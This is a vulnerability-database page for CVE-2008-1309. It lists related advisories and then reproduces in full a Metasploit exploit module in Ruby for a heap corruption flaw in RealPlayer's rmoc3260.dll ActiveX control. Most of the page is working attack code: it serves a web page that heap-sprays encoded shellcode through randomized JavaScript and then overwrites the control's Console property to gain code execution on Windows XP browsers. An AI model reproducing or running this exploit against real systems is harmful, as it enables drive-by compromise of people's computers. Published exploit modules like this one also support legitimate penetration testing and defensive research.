realplayer_console.rb.txt

🗓️ 02 Apr 2008 00:00:00Reported by Elazar BroadType

packetstorm🔗 packetstormsecurity.com👁 28 Views

RealPlayer ActiveX heap corruption vulnerability

Reporter	Title	Published	Views	Family All 18
Tenable Nessus	RealPlayer for Windows < 6.0.14.806 / 6.0.12.1675 Multiple Vulnerabilities	4 Aug 200800:00	–	nessus
Tenable Nessus	RealPlayer for Windows < Build 6.0.14.806 / 6.0.12.1675 Multiple Vulnerabilities	28 Jul 200800:00	–	nessus
Tenable Nessus	RealPlayer ActiveX (rmoc3260.dll) Console Property Memory Corruption Arbitrary Code Execution	12 Mar 200800:00	–	nessus
Circl	CVE-2008-1309	1 Apr 200800:00	–	circl
Check Point Advisories	RealNetworks RealPlayer rmoc3260.dll ActiveX Control Memory Corruption (CVE-2008-1309)	23 Mar 201000:00	–	checkpoint_advisories
CVE	CVE-2008-1309	12 Mar 200817:00	–	cve
Cvelist	CVE-2008-1309	12 Mar 200817:00	–	cvelist
d2	DSquare Exploit Pack: D2SEC_REALCONSOLE	12 Mar 200817:44	–	d2
Exploit DB	RealPlayer - 'rmoc3260.dll' ActiveX Control Heap Corruption (Metasploit)	15 Jun 201000:00	–	exploitdb
Metasploit	RealPlayer rmoc3260.dll ActiveX Control Heap Corruption	1 Apr 200811:22	–	metasploit

`  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
require 'msf/core'  
  
module Msf  
  
class Exploits::Windows::Browser::RealPlayer_Console < Msf::Exploit::Remote  
  
include Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption',  
'Description' => %q{  
This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control.   
By sending a specially crafted string to the 'Console' property   
in the rmoc3260.dll control, an attacker may be able to execute   
arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],   
'Version' => '$Revision: 0 $',  
'References' =>   
[  
[ 'CVE', 'CVE-2008-1309' ],  
[ 'BID', '28157' ],  
[ 'URL', 'http://secunia.com/advisories/29315/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x09\x0a\x0d'\\",   
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",   
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ]   
],  
'DisclosureDate' => 'March 8 2008',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Setup exploit buffers  
nops = Rex::Text.to_unescape([target.ret].pack('V'))  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
blocksize = 0x40000  
fillto = 400   
offset = target['Offset']  
  
# Randomize the javascript variable names  
racontrol = rand_text_alpha(rand(100) + 1)  
j_shellcode = rand_text_alpha(rand(100) + 1)  
j_nops = rand_text_alpha(rand(100) + 1)  
j_headersize = rand_text_alpha(rand(100) + 1)  
j_slackspace = rand_text_alpha(rand(100) + 1)  
j_fillblock = rand_text_alpha(rand(100) + 1)  
j_block = rand_text_alpha(rand(100) + 1)  
j_memory = rand_text_alpha(rand(100) + 1)  
j_counter = rand_text_alpha(rand(30) + 2)  
j_ret = rand_text_alpha(rand(100) + 1)  
j_m = rand_text_alpha(rand(100) + 1)   
  
# Build out the message  
content = %Q|  
<html>  
<object classid='clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93' id='#{racontrol}'></object>  
<script language='javascript'>  
#{j_shellcode} = unescape('#{shellcode}');  
#{j_nops} = unescape('#{nops}');  
#{j_headersize} = 20;  
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length  
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};  
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});  
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});  
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};  
#{j_memory} = new Array();  
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};  
#{j_ret} = unescape('#{ret}');  
while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};  
  
#{j_m} = #{racontrol}.Console;  
#{racontrol}.Console = #{j_ret};  
#{racontrol}.Console = #{j_m};  
  
#{j_m} = #{racontrol}.Console;  
#{racontrol}.Console = #{j_ret};  
#{racontrol}.Console = #{j_m};  
</script>  
</html>  
|  
  
  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
end  
`

02 Apr 2008 00:00Current

6.4Medium risk

Vulners AI Score6.4

EPSS0.4595